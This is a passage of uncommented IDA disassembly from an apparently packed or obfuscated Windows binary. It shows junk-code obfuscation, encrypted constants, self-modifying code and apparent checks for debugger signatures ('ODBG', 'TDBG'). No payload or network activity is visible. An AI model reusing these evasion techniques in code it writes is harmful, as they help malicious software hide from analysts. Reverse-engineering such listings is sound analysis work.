0042FCD1 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0042FF62 SIZE 00000005 BYTES jo sub_42B353 push ebp mov ebp, esp add esp, 0FFFFFFECh jmp loc_42FCD1 sub_427A8D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_427A9E proc near ; CODE XREF: sub_42CFE2-8FDCp ; sub_429165-4257p ... ; FUNCTION CHUNK AT 00424C3D SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00424E42 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C2AA SIZE 00000008 BYTES lea eax, sub_427A9E jb loc_42C2AA mov byte ptr [eax], 0C3h call sub_424585 call sub_42F50F loc_427AB7: ; CODE XREF: sub_42B339+Dj jmp sub_42A56D sub_427A9E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_427ABC: ; CODE XREF: sub_426535+6F44j and eax, ebx add ecx, ebp and eax, edi ror edi, 11h jmp loc_42BD93 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_427ACA: ; CODE XREF: sub_42506F+9AC1j add edi, eax loc_427ACC: ; CODE XREF: sub_42AAC3:loc_42EC23j adc ecx, ebx loc_427ACE: ; CODE XREF: sub_42506F:loc_425CFFj xor eax, eax push esi push 0F4873FC0h pop esi jmp loc_42E3C9 ; END OF FUNCTION CHUNK FOR sub_42506F ; --------------------------------------------------------------------------- loc_427ADC: ; CODE XREF: wto1jq8f:0042E3A8j sub eax, 3483C81Ch shr ebx, 0Fh cmp edi, 457BEB84h jmp loc_42F3DB ; --------------------------------------------------------------------------- adc ebx, eax xchg ebp, [edx] jmp sub_426144 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425944 loc_427AF9: ; CODE XREF: sub_425944+4j mov eax, [ebp-4] call sub_429A28 mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jle loc_4245A1 mov eax, [ebp-4] jmp loc_426ABA ; END OF FUNCTION CHUNK FOR sub_425944 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4283CC loc_427B16: ; CODE XREF: sub_4283CC:loc_42F109j call sub_42A56D call sub_42ED32 call nullsub_215 ; END OF FUNCTION CHUNK FOR sub_4283CC ; START OF FUNCTION CHUNK FOR sub_424585 loc_427B25: ; CODE XREF: sub_428DBE+14j ; sub_424585+5B04j mov eax, ds:dword_42DAE4 mov [ebp+var_4], eax mov eax, offset dword_42FB68 jmp loc_428840 ; END OF FUNCTION CHUNK FOR sub_424585 ; --------------------------------------------------------------------------- loc_427B37: ; CODE XREF: wto1jq8f:00427B67j jle loc_42B5CD ; =============== S U B R O U T I N E ======================================= sub_427B3D proc near ; CODE XREF: sub_42506F+9366p ; FUNCTION CHUNK AT 00427FD8 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042CBB7 SIZE 00000005 BYTES mov [esp+0], esi pop esi xor esi, 0DFC52808h add esi, ebp add esi, 9438514h mov [esi], eax jmp loc_42CBB7 sub_427B3D endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_427B56: ; CODE XREF: wto1jq8f:00428415j jnz loc_42EACC jmp loc_42AE4E ; --------------------------------------------------------------------------- test eax, 351FD97Ch jmp loc_427B37 ; --------------------------------------------------------------------------- loc_427B6C: ; DATA XREF: wto1jq8f:0042731Eo mov eax, [eax] add eax, [ebp-4] call sub_42FC85 cmp eax, [ebp-8] jnz loc_42FC74 mov eax, [ebp-14h] mov eax, [eax+24h] jmp loc_427153 ; --------------------------------------------------------------------------- loc_427B8A: ; CODE XREF: wto1jq8f:00424EFAj jnz loc_4283F0 jmp loc_42F63F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_427B95: ; CODE XREF: sub_429B76-27DEj jp loc_42E0C6 loc_427B9B: ; CODE XREF: sub_429B76:loc_42A0C8j call sub_42B10A lea eax, sub_42A59B mov [ebp-4], eax call sub_42B8FC mov ds:dword_42F1D4, eax jmp loc_42D284 ; --------------------------------------------------------------------------- loc_427BB8: ; CODE XREF: sub_429B76:loc_424183j push esi jmp loc_429390 ; END OF FUNCTION CHUNK FOR sub_429B76 ; --------------------------------------------------------------------------- loc_427BBE: ; CODE XREF: wto1jq8f:0042D937j jo loc_42BF74 jno loc_42ABC0 jmp sub_42689A ; --------------------------------------------------------------------------- loc_427BCF: ; DATA XREF: sub_42BE69+3D7Co mov eax, ds:dword_425108[eax*4] mov [ebp-8], eax cmp dword ptr [ebp-8], 0 push offset sub_42D09C jmp loc_42429F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C786 loc_427BE7: ; CODE XREF: sub_42C786:loc_42F15Ej mov [ecx+0B8h], eax pop ecx xor eax, eax retn ; END OF FUNCTION CHUNK FOR sub_42C786 ; =============== S U B R O U T I N E ======================================= sub_427BF1 proc near ; DATA XREF: sub_42C786+Ao xor eax, eax sub_427BF1 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42CF50 loc_427BF3: ; CODE XREF: sub_42CF50+15j pop large dword ptr fs:0 add esp, 4 jmp loc_42D7F2 ; END OF FUNCTION CHUNK FOR sub_42CF50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FBC7 loc_427C02: ; CODE XREF: sub_42FBC7-9431j jp loc_429662 mov edx, esi sbb edx, ebp loc_427C0C: ; CODE XREF: wto1jq8f:loc_42A87Dj call sub_42ED01 jmp loc_42899F ; END OF FUNCTION CHUNK FOR sub_42FBC7 ; --------------------------------------------------------------------------- loc_427C16: ; CODE XREF: wto1jq8f:0042C639j sbb ebp, ebx ; START OF FUNCTION CHUNK FOR sub_42C61B loc_427C18: ; CODE XREF: sub_42C61B:loc_42C628j add ebx, 0DE303E04h xchg ebx, [esp+4+var_4] jmp loc_42AE59 ; END OF FUNCTION CHUNK FOR sub_42C61B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_427C26: ; CODE XREF: sub_426E98:loc_426E0Bj jnz loc_42EF03 mov ecx, [ebx+edx-4] or ecx, ecx jz loc_42E0A8 jmp loc_42CAF0 ; --------------------------------------------------------------------------- loc_427C3D: ; CODE XREF: sub_426E98:loc_42EF03j add edx, 14h mov ecx, [ebx+edx-8] or ecx, ecx jz loc_42E0A8 jmp loc_42BAAA ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- loc_427C51: ; CODE XREF: wto1jq8f:0042C198j ja loc_42A48B xchg eax, ebx add ebp, 732CF642h jmp loc_426A2E ; --------------------------------------------------------------------------- mov [edi], esi jmp sub_42B35E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B276 loc_427C6B: ; CODE XREF: sub_42B276-F6Cj adc edi, ebx sub ebx, 255C8807h loc_427C73: ; CODE XREF: sub_426144:loc_42F876j pop large dword ptr fs:0 add esp, 4 mov eax, 50h jmp loc_42E838 ; END OF FUNCTION CHUNK FOR sub_42B276 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4292B9 loc_427C87: ; CODE XREF: sub_4292B9:loc_42FD2Dj pop ebx call sub_42C43B ; END OF FUNCTION CHUNK FOR sub_4292B9 ; START OF FUNCTION CHUNK FOR sub_426350 loc_427C8D: ; CODE XREF: sub_426350+3C60j jmp loc_42E9D4 ; END OF FUNCTION CHUNK FOR sub_426350 ; =============== S U B R O U T I N E ======================================= sub_427C92 proc near ; CODE XREF: sub_42AAC3:loc_42EC2Fp ; FUNCTION CHUNK AT 0042EF74 SIZE 00000005 BYTES mov [esp+0], edx push 0C527B259h pop edx add edx, 3B1B13E5h xchg edx, [esp+0] jmp loc_42EF74 sub_427C92 endp ; --------------------------------------------------------------------------- loc_427CA9: ; CODE XREF: wto1jq8f:loc_424081j call sub_42F987 loc_427CAE: ; CODE XREF: wto1jq8f:00429D1Ej jmp locret_4246C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F61 loc_427CB3: ; CODE XREF: sub_428F61-4931j jmp loc_42FA93 ; END OF FUNCTION CHUNK FOR sub_428F61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_427CB8: ; CODE XREF: sub_4244EA:loc_424E3Cj ; sub_4244EA+37DAj mov [ebp-5], al mov al, [ebp-5] pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_427CC2: ; CODE XREF: wto1jq8f:00426B6Ej ; sub_4244EA+4493j ... mov al, 1 jmp loc_427CB8 ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42689A loc_427CC9: ; CODE XREF: sub_42689A:loc_424538j div ecx mov [ebp-18h], edx call sub_428BF4 ; END OF FUNCTION CHUNK FOR sub_42689A ; START OF FUNCTION CHUNK FOR sub_425A9E loc_427CD3: ; CODE XREF: sub_425A9E+7j jmp loc_425EBD ; END OF FUNCTION CHUNK FOR sub_425A9E ; --------------------------------------------------------------------------- loc_427CD8: ; CODE XREF: wto1jq8f:0042E445j jo loc_42BD8E loc_427CDE: ; CODE XREF: wto1jq8f:loc_426693j lea eax, [ebp-2BBh] cmp dword ptr [eax], 4742444Fh jz loc_4265DB jmp loc_428EEA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42750A loc_427CF5: ; CODE XREF: sub_42750A+23D2j jz loc_426849 jmp loc_427335 ; END OF FUNCTION CHUNK FOR sub_42750A ; =============== S U B R O U T I N E ======================================= sub_427D00 proc near ; CODE XREF: sub_426AD4+2094p ; wto1jq8f:0042CFDDj mov [esp+0], esi sub_427D00 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42C486 loc_427D03: ; CODE XREF: sub_42C486-3B9Aj pop esi mov edx, [ebp-14h] shr edx, 3 mov ecx, ds:dword_429558 movzx edx, byte ptr [ecx+edx] and eax, edx jmp loc_42D088 ; END OF FUNCTION CHUNK FOR sub_42C486 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_143. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CBD1 loc_427D1C: ; CODE XREF: sub_42CBD1+18j jmp loc_4287EB ; END OF FUNCTION CHUNK FOR sub_42CBD1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BD3 loc_427D21: ; CODE XREF: sub_429BD3+Ej jmp loc_42B9B4 ; END OF FUNCTION CHUNK FOR sub_429BD3 ; --------------------------------------------------------------------------- loc_427D26: ; CODE XREF: wto1jq8f:004291DBj jmp loc_428511 ; --------------------------------------------------------------------------- jle loc_426956 pushf jmp sub_4263D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_427D37: ; CODE XREF: sub_42C486-3B94j sbb edx, ecx loc_427D39: ; CODE XREF: sub_42B353:loc_42FFCBj lea edx, [ebp-14h] loc_427D3C: ; CODE XREF: wto1jq8f:loc_4244E4j mov eax, offset dword_42D5D0 call sub_42A56D jmp loc_42F836 ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- add ebp, 4887087Dh pushf ; START OF FUNCTION CHUNK FOR sub_426968 loc_427D52: ; CODE XREF: sub_426968:loc_42D855j jmp sub_42B339 ; END OF FUNCTION CHUNK FOR sub_426968 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F75D loc_427D57: ; CODE XREF: sub_42F75D+Ej mov eax, [ebp+8] mov eax, [eax-8] or eax, 8 or eax, 10h loc_427D63: ; CODE XREF: sub_42AAC3+4166j mov edx, [ebp+8] mov [edx-8], eax jmp loc_42A585 ; --------------------------------------------------------------------------- loc_427D6E: ; CODE XREF: sub_42F75D+8j cmp dword ptr [ebp-10h], 2 push offset loc_42A386 jmp nullsub_176 ; END OF FUNCTION CHUNK FOR sub_42F75D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_29. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_427D7D: ; CODE XREF: sub_42C486-662Bj jmp loc_42AB3A ; END OF FUNCTION CHUNK FOR sub_42C486 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427D82 proc near ; CODE XREF: sub_428A19+7p ; sub_42F2C7-607Ep ; FUNCTION CHUNK AT 004259B9 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00427A18 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042EC34 SIZE 00000005 BYTES push ebp mov ebp, esp push ecx jmp loc_4259B9 sub_427D82 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426950 loc_427D8B: ; CODE XREF: sub_426950+4D53j xchg edi, [edx] ; END OF FUNCTION CHUNK FOR sub_426950 ; =============== S U B R O U T I N E ======================================= sub_427D8D proc near ; CODE XREF: sub_426950:loc_42AD8Aj ; FUNCTION CHUNK AT 00425B04 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00429566 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F1D8 SIZE 00000005 BYTES push ebx push 0DC533826h pop ebx rol ebx, 0Fh jmp loc_42F1D8 sub_427D8D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_427D9C: ; CODE XREF: sub_426968:loc_429EE0j jz loc_42D85B jmp loc_424D53 ; END OF FUNCTION CHUNK FOR sub_426968 ; =============== S U B R O U T I N E ======================================= sub_427DA7 proc near ; DATA XREF: sub_42FF9A-72F9o arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00427061 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042A57D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A96E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042ED18 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042FB14 SIZE 0000000F BYTES sbb ebx, eax not eax adc ebx, ecx add edx, 0AACB2EFCh jz loc_427061 sub eax, 0C17A267Ch adc ebx, 70DF8F90h jmp loc_42FB14 sub_427DA7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_427DCA: ; CODE XREF: wto1jq8f:0042F346j mov eax, 150h call sub_428183 jmp loc_428E7B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428BC4 loc_427DD9: ; CODE XREF: sub_428BC4+4934j pop large dword ptr fs:0 add esp, 4 loc_427DE3: ; CODE XREF: wto1jq8f:00429C97j pop ecx mov ecx, offset sub_42CF2B call sub_42419B ; END OF FUNCTION CHUNK FOR sub_428BC4 ; START OF FUNCTION CHUNK FOR sub_428136 loc_427DEE: ; CODE XREF: sub_428136-1439j jmp loc_428FC7 ; END OF FUNCTION CHUNK FOR sub_428136 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EFB5 loc_427DF3: ; CODE XREF: sub_42EFB5-1671j sub edi, 0CABF05F4h sub esi, 0DF34073Ah loc_427DFF: ; CODE XREF: sub_42EFB5:loc_42D692j call sub_4282A6 loc_427E04: ; CODE XREF: wto1jq8f:loc_426A4Fj jns sub_424556 jmp loc_4297A3 ; END OF FUNCTION CHUNK FOR sub_42EFB5 ; --------------------------------------------------------------------------- sub eax, 0C85AA677h jmp sub_4282FE ; --------------------------------------------------------------------------- loc_427E1A: ; CODE XREF: wto1jq8f:00426914j xor edx, 1F4CC71Eh call sub_429165 push esi push 981FA149h pop esi rol esi, 11h xor esi, 0A640173Bh jmp loc_42B163 ; --------------------------------------------------------------------------- loc_427E3A: ; DATA XREF: sub_424F23+1479o add edx, eax rol edx, 5 xor edx, esi rol edx, 5 add edx, edi push offset loc_42BFD0 jmp locret_425A7D ; =============== S U B R O U T I N E ======================================= sub_427E50 proc near ; CODE XREF: sub_426E98+128j ; sub_4294F4+113Fp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00427251 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0042B975 SIZE 00000005 BYTES mov [esp+0], eax pop eax push eax call sub_42D910 mov ds:dword_42F1F0, eax loc_427E5F: ; CODE XREF: sub_4294F4:loc_42A62Aj lea eax, [ebp-14h] xor edx, edx push edi loc_427E65: ; CODE XREF: wto1jq8f:loc_42F799j jmp loc_427251 sub_427E50 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_427E6A: ; CODE XREF: sub_4244EA+B176j cmp ecx, eax jmp loc_42DB8C ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- mov esi, [ebx] shl ebp, 1 jmp sub_42A54A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428A19 loc_427E7A: ; CODE XREF: sub_428A19+3901j push 0DF2CEA6Ch pop eax sub eax, 7E43BAAAh and eax, 51EBB87Eh add eax, 0A2B67600h add eax, ebp jmp loc_42CAE4 ; END OF FUNCTION CHUNK FOR sub_428A19 ; --------------------------------------------------------------------------- loc_427E99: ; CODE XREF: wto1jq8f:004271EFj mov [ebp+0], ebx jmp loc_42B4E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_427EA1: ; CODE XREF: sub_426535:loc_42C172j cmp dword ptr [ebp-4], 4 loc_427EA5: ; CODE XREF: sub_429BFF+3B37j jnz loc_42B4E8 lea eax, [ebp-2BBh] cmp dword ptr [eax], 47424454h jz loc_4265DB jmp loc_42B4E8 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AC6 loc_427EC2: ; CODE XREF: sub_428AC6:loc_42DE02j mov eax, [ebp-4] movzx eax, word ptr [eax+14h] push esi push 0A71F4FA7h pop esi rol esi, 10h jmp loc_42CF9E ; END OF FUNCTION CHUNK FOR sub_428AC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F563 loc_427ED8: ; CODE XREF: sub_42F563-3BBj add eax, 414B998Ch mov eax, [eax] push offset sub_42D120 jmp loc_42E3E5 ; END OF FUNCTION CHUNK FOR sub_42F563 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_427EEA: ; CODE XREF: sub_42A909:loc_42C58Aj mov [eax], edx push 326D078Dh jmp loc_42E81B ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428B05 loc_427EF6: ; CODE XREF: sub_428B05+9j ; sub_428B05:loc_429A43j ... js loc_429A4F sub ebx, 10000h mov eax, [ebx] neg eax cmp ax, 0A5B3h jmp loc_429A43 ; END OF FUNCTION CHUNK FOR sub_428B05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DB52 loc_427F0F: ; CODE XREF: sub_42DB52:loc_428F91j jnz loc_426492 jmp loc_428F51 ; END OF FUNCTION CHUNK FOR sub_42DB52 ; =============== S U B R O U T I N E ======================================= sub_427F1A proc near ; CODE XREF: wto1jq8f:00429186j ; wto1jq8f:0042F5CDp xchg eax, [esp+0] pop eax push eax rol eax, 17h mov ds:dword_42F0A4, eax retn sub_427F1A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D434 loc_427F29: ; CODE XREF: sub_42D434+1087j jmp loc_428454 ; END OF FUNCTION CHUNK FOR sub_42D434 ; --------------------------------------------------------------------------- sub ebp, 87FF7DF9h jmp sub_427218 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_427F39: ; CODE XREF: sub_426535+35D3j cmp esi, 26F4212Ch jmp loc_425043 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429459 loc_427F44: ; CODE XREF: sub_429459-2A1Cj ; wto1jq8f:0042DA7Cj ror eax, 18h push eax call sub_42D765 retn ; END OF FUNCTION CHUNK FOR sub_429459 ; =============== S U B R O U T I N E ======================================= sub_427F4E proc near ; CODE XREF: wto1jq8f:00427821p ; sub_42A6E3+15j ... jo sub_42F119 xchg ebp, ebx push offset sub_42873E jmp nullsub_154 sub_427F4E endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_102. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E0FD loc_427F61: ; CODE XREF: sub_42E0FD-5685j jmp loc_4273C5 ; END OF FUNCTION CHUNK FOR sub_42E0FD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_139. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C507 loc_427F67: ; CODE XREF: sub_42C507-585j jmp nullsub_91 ; END OF FUNCTION CHUNK FOR sub_42C507 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282FE loc_427F6C: ; CODE XREF: sub_4282FE-1284j rol ebp, 17h jmp loc_42A425 ; END OF FUNCTION CHUNK FOR sub_4282FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_427F74: ; CODE XREF: sub_42A909+4495j add ebp, edx jmp loc_428EB6 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- mov [edi], esi jmp loc_42D9D3 ; --------------------------------------------------------------------------- test al, al jz loc_428552 jmp loc_42A072 ; =============== S U B R O U T I N E ======================================= sub_427F8F proc near ; CODE XREF: wto1jq8f:00426B74j ; wto1jq8f:00429D05p ; FUNCTION CHUNK AT 0042AA7F SIZE 00000003 BYTES ; FUNCTION CHUNK AT 0042C20B SIZE 0000000A BYTES mov [esp+0], ecx pop ecx test byte ptr [eax-8], 10h jz loc_42C20B jmp loc_42AA7F sub_427F8F endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_427FA2: ; CODE XREF: wto1jq8f:loc_42A7BFj mov ecx, offset loc_427FAB xchg ecx, [esp] retn ; --------------------------------------------------------------------------- loc_427FAB: ; DATA XREF: wto1jq8f:loc_427FA2o and ecx, 0DB4094DEh jmp loc_42EC74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_427FB6: ; CODE XREF: sub_42DC5C:loc_42DE36j push edx pushf push offset loc_42754B jmp nullsub_110 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F614 loc_427FC2: ; CODE XREF: sub_42F614:loc_42DFA2j jnz loc_425D67 jmp loc_4269C6 ; END OF FUNCTION CHUNK FOR sub_42F614 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_61. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4246D4 loc_427FCE: ; CODE XREF: sub_4246D4+4689j jmp loc_428B27 ; END OF FUNCTION CHUNK FOR sub_4246D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AA68 loc_427FD3: ; CODE XREF: sub_42AA68-1EECj jmp loc_425BE9 ; END OF FUNCTION CHUNK FOR sub_42AA68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427B3D loc_427FD8: ; CODE XREF: sub_427B3D:loc_42CBB7j pop esi lea eax, [ebp-70h] push eax call dword ptr [ebp-4] loc_427FE0: ; CODE XREF: sub_42FA0F+9j mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_427B3D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E83D loc_427FE4: ; CODE XREF: sub_42E83D+Ej jmp loc_42C3B7 ; END OF FUNCTION CHUNK FOR sub_42E83D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_427FE9: ; CODE XREF: sub_426535-24D5j jmp nullsub_23 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- mov edx, 43A8AC5Ch push eax push 96892669h pop eax jmp loc_42E22A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AF82 loc_427FFF: ; CODE XREF: sub_42AF82+14j xchg edx, [esi] and edi, 75B4711Dh sbb edx, 0DFF8F16Dh sub edi, ebp jmp loc_42D3B9 ; END OF FUNCTION CHUNK FOR sub_42AF82 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42750A loc_428014: ; CODE XREF: sub_42750A+16j pop eax sub eax, 0A30516CFh or eax, ds:4000F2h js loc_4298CC mov [esi], eax jmp sub_4260A9 ; END OF FUNCTION CHUNK FOR sub_42750A ; --------------------------------------------------------------------------- loc_42802E: ; CODE XREF: wto1jq8f:loc_42638Dj jz loc_42C7E5 jmp loc_42B042 ; --------------------------------------------------------------------------- loc_428039: ; CODE XREF: wto1jq8f:00429995j and eax, 0FFFFFFh cmp eax, 0C3C033h jnz loc_42A503 jmp loc_42B882 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_42804E: ; CODE XREF: sub_426C0C:loc_42A95Bj push eax push esi push 0EB90AE93h pop esi add esi, 1C0DDBCEh sub esi, ds:4000F1h add esi, 0ECCF7B19h jmp loc_4246F2 ; END OF FUNCTION CHUNK FOR sub_426C0C ; --------------------------------------------------------------------------- loc_42806D: ; CODE XREF: wto1jq8f:00426699j jge loc_428FE8 xor esi, 0D3F57ACh xchg esi, [ebp+0] jmp loc_42E43F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424ADA loc_428081: ; CODE XREF: sub_424ADA:loc_4291E1j jnz loc_426ED4 jmp loc_4273F2 ; END OF FUNCTION CHUNK FOR sub_424ADA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B8FC loc_42808C: ; CODE XREF: sub_42B8FC:loc_42A931j ; wto1jq8f:0042DE4Fj jz loc_42FD8C jmp loc_4248AD ; END OF FUNCTION CHUNK FOR sub_42B8FC ; --------------------------------------------------------------------------- loc_428097: ; DATA XREF: sub_42E8D0+9o push edi push 3F6880A7h pop edi add edi, 0C0DA0FB5h mov [edi], eax pop edi retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_4280A8: ; CODE XREF: sub_426535+4FC3j jmp loc_429E0D ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- loc_4280AD: ; CODE XREF: wto1jq8f:0042AB6Dj jmp loc_42E3A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424F7A loc_4280B2: ; CODE XREF: sub_42FE4C-9072j ; sub_424F7A:loc_42D926j ror eax, 14h jmp loc_42CA31 ; END OF FUNCTION CHUNK FOR sub_424F7A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_4280BA: ; CODE XREF: sub_42D9D9-7261j mov eax, 6 sub eax, [ebp-4] push offset loc_42D352 jmp loc_42F09C ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_4280CC: ; CODE XREF: sub_426968+75CEj jnz loc_426DC7 xor esi, eax xor edx, edi jmp loc_426DC5 ; END OF FUNCTION CHUNK FOR sub_426968 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E5B2 loc_4280DB: ; CODE XREF: sub_42E5B2:loc_42CDDDj push eax push offset loc_429221 jmp nullsub_140 ; END OF FUNCTION CHUNK FOR sub_42E5B2 ; =============== S U B R O U T I N E ======================================= sub_4280E6 proc near ; CODE XREF: sub_4281DD+9p xchg ecx, [esp+0] mov ecx, [esp+0] mov esp, ebp pop ebp push offset loc_42C9DC jmp nullsub_24 sub_4280E6 endp ; --------------------------------------------------------------------------- push eax push eax push ebx call sub_42D343 loc_428101: ; CODE XREF: wto1jq8f:0042F871j jmp loc_424CA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240DC loc_428106: ; CODE XREF: sub_4240DC+8BA5j jmp loc_425CCE ; END OF FUNCTION CHUNK FOR sub_4240DC ; --------------------------------------------------------------------------- loc_42810B: ; CODE XREF: wto1jq8f:loc_42DD64j jnz loc_42D559 jmp loc_42932A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DE87 loc_428116: ; CODE XREF: sub_42DE87:loc_424A59j sub dword ptr [esp+0], 7798285Ch push 0 push ebx push 529E09Bh pop ebx add ebx, 0FB18ABAFh xchg ebx, [esp+8+var_8] jmp sub_42A7E2 ; END OF FUNCTION CHUNK FOR sub_42DE87 ; --------------------------------------------------------------------------- loc_428134: ; CODE XREF: wto1jq8f:00428F2Dj mov [edi], edx ; =============== S U B R O U T I N E ======================================= sub_428136 proc near ; CODE XREF: sub_42D120+17Dp ; FUNCTION CHUNK AT 00426CEB SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00427DEE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428FC7 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042B1D8 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi xchg eax, edi push edi xchg eax, edi rol eax, 17h push edi jmp loc_42B1D8 sub_428136 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A8D loc_428148: ; CODE XREF: sub_427A8D+3158j jnz loc_42F543 loc_42814E: ; CODE XREF: sub_42D133+7j jmp loc_42C151 ; END OF FUNCTION CHUNK FOR sub_427A8D ; --------------------------------------------------------------------------- js loc_426637 and ebx, 7287C799h jmp loc_42F540 